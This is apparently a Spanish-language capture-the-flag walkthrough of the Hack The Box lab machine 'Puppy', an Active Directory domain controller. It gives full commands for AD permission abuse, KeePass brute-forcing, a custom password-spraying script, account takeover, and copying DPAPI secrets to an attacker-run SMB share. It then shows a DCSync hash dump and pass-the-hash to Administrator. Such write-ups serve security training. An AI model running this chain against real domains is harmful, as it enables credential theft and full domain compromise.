Puppy

Machine Information
As is common in real life pentests, you will start the Puppy box with credentials for the following account: levi.james / KingofAkron2025!
🧾 Enumeration
sudo nmap -sS -- min-rate 5000 -- open -vvv -n -Pn -p- 10.10.11.70 -oG allPorts
extractPorts allPorts
nmap -sC -sV -p53,88,111,135,139,389,445,464,593,636,2049,3260,3268,3269,5985,9389,49664,49667,49669,49670,49690,53146,58941 10.10.11.70 -oN targeted
Escaneo profundo:
──────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: targeted
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ # Nmap 7.95 scan initiated Sun May 25 18:11:55 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -p53,88,111,135,139,389,445,464,593,636,2049,3260,3268,3269,5985,9389,49664,49667,49669,49670,49690,53146,
│ 58941 -oN targeted 10.10.11.70
2 │ Nmap scan report for 10.10.11.70
3 │ Host is up (0.24s latency).
4 │
5 │ Bug in iscsi-info: no string output.
6 │ PORT STATE SERVICE VERSION
7 │ 53/tcp open domain Simple DNS Plus
8 │ 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-26 06:14:39Z)
9 │ 111/tcp open rpcbind 2-4 (RPC #100000)
10 │ | rpcinfo:
11 │ | program version port/proto service
12 │ | 100000 2,3,4 111/tcp rpcbind
13 │ | 100000 2,3,4 111/tcp6 rpcbind
14 │ | 100000 2,3,4 111/udp rpcbind
15 │ | 100000 2,3,4 111/udp6 rpcbind
16 │ | 100003 2,3 2049/udp nfs
17 │ | 100003 2,3 2049/udp6 nfs
18 │ | 100005 1,2,3 2049/udp mountd
19 │ | 100005 1,2,3 2049/udp6 mountd
20 │ | 100021 1,2,3,4 2049/tcp nlockmgr
21 │ | 100021 1,2,3,4 2049/tcp6 nlockmgr
22 │ | 100021 1,2,3,4 2049/udp nlockmgr
23 │ | 100021 1,2,3,4 2049/udp6 nlockmgr
24 │ | 100024 1 2049/tcp status
25 │ | 100024 1 2049/tcp6 status
26 │ | 100024 1 2049/udp status
27 │ |_ 100024 1 2049/udp6 status
28 │ 135/tcp open msrpc Microsoft Windows RPC
29 │ 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
30 │ 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
31 │ 445/tcp open microsoft-ds?
32 │ 464/tcp open kpasswd5?
33 │ 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
34 │ 636/tcp open tcpwrapped
35 │ 2049/tcp open nlockmgr 1-4 (RPC #100021)
36 │ 3260/tcp open iscsi?
37 │ 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
38 │ 3269/tcp open tcpwrapped
39 │ 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
40 │ |_http-server-header: Microsoft-HTTPAPI/2.0
41 │ |_http-title: Not Found
42 │ 9389/tcp open mc-nmf .NET Message Framing
43 │ 49664/tcp open msrpc Microsoft Windows RPC
44 │ 49667/tcp open msrpc Microsoft Windows RPC
45 │ 49669/tcp open msrpc Microsoft Windows RPC
46 │ 49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
47 │ 49690/tcp open msrpc Microsoft Windows RPC
48 │ 53146/tcp open msrpc Microsoft Windows RPC
49 │ 58941/tcp open msrpc Microsoft Windows RPC
50 │ Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
51 │
52 │ Host script results:
53 │ | smb2-security-mode:
54 │ | 3:1:1:
55 │ |_ Message signing enabled and required
56 │ |_clock-skew: 7h02m35s
57 │ | smb2-time:
58 │ | date: 2025-05-26T06:16:41
59 │ |_ start_date: N/A
60 │
61 │ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
62 │ # Nmap done at Sun May 25 18:15:05 2025 -- 1 IP address (1 host up) scanned in 190.41 seconds
Como ya sabemos tenemos credenciales para una cuenta con pocos privilegios, así que ahora simplemente realizaremos un ataque de pulverización utilizando la herramienta NXC.
Dos formas distintas de enumerar:
netexec smb 10.10.11.70 -u 'levi.james' -p 'KingofAkron2025!' --shares
nxc smb 10.10.11.70 -vi.james -d PUPPY.HTB -p 'KingofAkron2025!' --shares

Muy bien, en este proceso utilizamos bloodhound-python para recopilar toda la información relevante del sistema Windows y del entorno Active Directory en un archivo comprimido (ZIP). Este archivo contiene datos detallados sobre usuarios, grupos, permisos y sesiones, los cuales importaremos en la base de datos gráfica Neo4j. Al visualizar esta información con BloodHound, podremos analizar de manera clara y efectiva las posibles rutas y vectores de escalada de privilegios dentro de la red, facilitando así la identificación de vulnerabilidades y la auditoría de seguridad.
python3 bloodhound.py -d PUPPY.HTB -u levi.james -p KingofAkron2025! -c ALL --zip -ns 10.10.11.70

Activamos el Neo4j y después el BloodHound:
levi.james@puppy.htb es miembro del grupo HR@puppy.htb .

El grupo HR@puppy.htb tiene permisos GenericWrite sobre el grupo DEVELOPERS@puppy.htb .

🔥 Paso 1: Agregar levi.james al grupo DEVELOPERS
GenericWrite
Usando el privilegio GenericWrite, ejecuta:


Esto se logra usando el comando
net rpc
para agregar un miembro a un grupo.
Ejemplo de comando:
net rpc group addmem 'DEVELOPERS' levi.james -U 'levi.james%KingofAkron2025!' -S 10.10.11.70
Nota: Asegúrate de usar el nombre correcto del grupo (
DEVELOPERS
) y no una traducción como "DESARROLLADORES" a menos que sea el nombre exacto en el dominio.
Reconectar y verificar acceso al recurso compartido SMB DEV
Ahora que levi.james es miembro del grupo DEVELOPERS, este debería tener acceso al recurso DEV.

Entramos a ver que contiene:

Abrimos el .Kdbx que es una bd de KeePass,:

Probaremos con la credencial de levi.james pero como no es haremos fuerza bruta a la contraseña:
bash keepass4brute.sh recovery.kdbx /usr/share/wordlists/rockyou.txt


Exportamos las contraseñas y los datos del archivo recovery.kdbx a un archivo de formato XML llamado keepass_dump.xml.
keepassxc-cli export --format=xml recovery.kdbx > keepass_dump.xml
Extraemos las contraseñas y las guardamos en un archivo llamado passwords_only.txt.
HJKL2025!
Antman2025!
JamieLove2025!
ILY2025!
Steve2025!
Realizamos pulverización de contraseñas utilizando nxc:
Creamos un archivo llamado users donde estaran todos los posibles usuarios pero para ello buscaremos los usuarios:
Para listar usuarios en el dominio usando
nxc smb
con las credenciales de levi.james, el comando sería:
nxc smb 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --users

Ahora teniendo los usuarios y credenciales tiraremos de la herramiena nxc para ver cual nos funciona:
Para ello hice mi propio script:
#!/bin/bash
IP="10.10.11.70"
# Leer usuarios en array
mapfile -t USERS < users.txt
# Leer contraseñas en array
mapfile -t PASSES < passwords_only.txt
for user in "${USERS[@]}"; do
for pass in "${PASSES[@]}"; do
echo "Probando: Usuario='$user' Contraseña='$pass'"
output=$(nxc smb $IP -u "$user" -p "$pass" --no-progress 2>&1)
# Buscar éxito en la salida (ajusta según mensaje real de éxito)
if echo "$output" | grep -q -i 'STATUS_LOGON_FAILURE'; then
echo "[-] Falló: $user:$pass"
else
echo "[+] Éxito: $user:$pass"
echo "Salida:"
echo "$output"
echo "--------------------------------------------"
fi
done
done

Tenemos credenciales validas:
Username: PUPPY.HTB\ant.edwards
Password: Antman2025!
Estas credenciales ahora se pueden usar para explorar más a fondo y escalar el acceso dentro del entorno objetivo. Realizamos un análisis con bloodhound-python.
python3 bloodhound.py -d PUPPY.HTB -u ant.edwards -p Antman2025! -c ALL --zip -ns 10.10.11.70


Escanearemos los permisos de escritura de nuestro usuario usando bloodyAD.
GenericAll
python3 bloodyAD.py --host 10.10.11.70 -d puppy.htb -u 'ant.edwards' -p 'Antman2025!' get writable --detail
Resultado:
mobile: WRITE
homePhone: WRITE
userSMIMECertificate: WRITE
msDS-ExternalDirectoryObjectId: WRITE
msDS-cloudExtensionAttribute20: WRITE
msDS-cloudExtensionAttribute19: WRITE
msDS-cloudExtensionAttribute18: WRITE
msDS-cloudExtensionAttribute17: WRITE
msDS-cloudExtensionAttribute16: WRITE
msDS-cloudExtensionAttribute15: WRITE
msDS-cloudExtensionAttribute14: WRITE
msDS-cloudExtensionAttribute13: WRITE
msDS-cloudExtensionAttribute12: WRITE
msDS-cloudExtensionAttribute11: WRITE
msDS-cloudExtensionAttribute10: WRITE
msDS-cloudExtensionAttribute9: WRITE
msDS-cloudExtensionAttribute8: WRITE
msDS-cloudExtensionAttribute7: WRITE
msDS-cloudExtensionAttribute6: WRITE
msDS-cloudExtensionAttribute5: WRITE
msDS-cloudExtensionAttribute4: WRITE
msDS-cloudExtensionAttribute3: WRITE
msDS-cloudExtensionAttribute2: WRITE
msDS-cloudExtensionAttribute1: WRITE
msDS-GeoCoordinatesLongitude: WRITE
msDS-GeoCoordinatesLatitude: WRITE
msDS-GeoCoordinatesAltitude: WRITE
msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE
msPKI-CredentialRoamingTokens: WRITE
msDS-FailedInteractiveLogonCountAtLastSuccessfulLogon: WRITE
msDS-FailedInteractiveLogonCount: WRITE
msDS-LastFailedInteractiveLogonTime: WRITE
msDS-LastSuccessfulInteractiveLogonTime: WRITE
msDS-SupportedEncryptionTypes: WRITE
msPKIAccountCredentials: WRITE
msPKIDPAPIMasterKeys: WRITE
msPKIRoamingTimeStamp: WRITE
mSMQDigests: WRITE
mSMQSignCertificates: WRITE
userSharedFolderOther: WRITE
userSharedFolder: WRITE
url: WRITE
otherIpPhone: WRITE
ipPhone: WRITE
assistant: WRITE
primaryInternationalISDNNumber: WRITE
primaryTelexNumber: WRITE
otherMobile: WRITE
otherFacsimileTelephoneNumber: WRITE
userCert: WRITE
homePostalAddress: WRITE
personalTitle: WRITE
wWWHomePage: WRITE
otherHomePhone: WRITE
streetAddress: WRITE
otherPager: WRITE
info: WRITE
otherTelephone: WRITE
userCertificate: WRITE
preferredDeliveryMethod: WRITE
registeredAddress: WRITE
internationalISDNNumber: WRITE
x121Address: WRITE
facsimileTelephoneNumber: WRITE
teletexTerminalIdentifier: WRITE
telexNumber: WRITE
telephoneNumber: WRITE
physicalDeliveryOfficeName: WRITE
postOfficeBox: WRITE
postalCode: WRITE
postalAddress: WRITE
street: WRITE
st: WRITE
......
........
..........
Realizaremos un análisis en profundidad para identificar los permisos de escritura disponibles para nuestro usuario con bloodyAD.

Parece que el usuario tiene permisos de escritura en la cuenta de Adam D. Silver”.
Cambiaremos la contraseña usando rpcclient.
❯ rpcclient -U 'puppy.htb\\Ant.Edwards%Antman2025!' 10.10.11.70
rpcclient $> setuserinfo ADAM.SILVER 23 Password@987
rpcclient $>
Verificando si es verdad:
nxc smb 10.10.11.70 -u 'ADAM.SILVER' -p 'Password@987'

La cuenta está deshabilitada, como lo indica el error 'STATUS_ACCOUNT_DISABLED'. La activaremos con el usuario Ant.Edwards.
python3 bloodyAD.py --host dc.puppy.htb -d puppy.htb -u ant.edwards -p 'Antman2025!' remove uac 'ADAM.SILVER' -f ACCOUNTDISABLE
Funciona:
[-] ['ACCOUNTDISABLE'] property flags removed from ADAM.SILVER's userAccountControl
Ahora cambiaremos la contraseña nuevamente.

Verificando:
nxc smb 10.10.11.70 -u 'ADAM.SILVER' -p 'Password@987'

Correcto 🎉
Y al parecer forma del grupo ManagedUsers:

Entramos:

Privilage Escalation
Realizamos el escaneo utilizando BloodHound
Sincronización NTP con el DC
ntpdate -u 10.10.11.70
python3 bloodhound.py -dc DC.PUPPY.HTB -u 'ADAM.SILVER' -p 'Password@987' -d PUPPY.HTB -c All -o bloodhound_results.json -ns 10.10.11.70
Tenemos los json:

A pasarlo al BloodHound:

Pasamos el Backup a nuestro linux:

cat nms-auth-config.xml.bak
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
<server>
<host>DC.PUPPY.HTB</host>
<port>389</port>
Puppy 25
<base-dn>dc=PUPPY,dc=HTB</base-dn>
<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>ChefSteph2025!</bind-password>
</server>
<user-attributes>
<attribute name="username" ldap-attribute="uid" />
<attribute name="firstName" ldap-attribute="givenName" />
<attribute name="lastName" ldap-attribute="sn" />
<attribute name="email" ldap-attribute="mail" />
</user-attributes>
<group-attributes>
<attribute name="groupName" ldap-attribute="cn" />
<attribute name="groupMember" ldap-attribute="member" />
</group-attributes>
<search-filter>
<filter>(&(objectClass=person)(uid=%s))</filter>
</search-filter>
</ldap-config>
Username: steph.cooper
Password: ChefSteph2025!
Ahora, comprobaremos si podemos conectarnos usando WinRM con estas credenciales.

Navegué por el sistema hasta encontrar los archivos DPAPI que contienen claves de cifrado importantes:
cd C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107
dir
Allí encontré el archivo 556a2412-1275-4ccf-b721-e6a0b4f90407
(el masterkey).
Configuré un servidor SMB en mi Kali para recibir esos archivos:
mkdir ./share
impacket-smbserver share ./share -smb2supporDesde la sesión de Evil-WinRM, copié los archivos a mi servidor SMB:
copy "C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407" \\10.10.14.xx\share\masterkey_blob
copy "C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9" \\10.10.14.xx\share\credential_blob
dpapi.py masterkey -file masterkey_blob -password 'ChefSteph2025!' -sid S-1-5-21-1487982659-1829050783-2281216199-1107
Copié la clave que me devolvió, y la usé para descifrar el credential blob:
dpapi.py credential -f credential_blob -key <clave_descifrada>
Así obtuve unas nuevas credenciales elevadas:
Usuario: steph.cooper_adm
Contraseña: FivethChipOnItsWay2025!
Con esas credenciales, ejecuté BloodHound para mapear Active Directory y obtener información completa:
bloodhound.py -dc DC.PUPPY.HTB -u 'steph.cooper_adm' -p 'FivethChipOnItsWay2025!' -d PUPPY.HTB -c All -o bloodhound_results.json -ns 10.10.11.70
BloodHound mostró que steph.cooper_adm
tiene permisos DCSync, es decir, puede replicar hashes del dominio.
Usé
secretsdump.py
para extraer hashes NTLM del administrador y otros usuarios:
secretsdump.py PUPPY.HTB/steph.cooper_adm:'FivethChipOnItsWay2025!'@10.10.11.70
Con el hash NTLM del administrador, me conecté usando Evil-WinRM pass-the-hash:
evil-winrm -i 10.10.11.70 -u Administrator -H 'bb0edc15e49ceb4120c7bd7e6e65d775b'

Last updated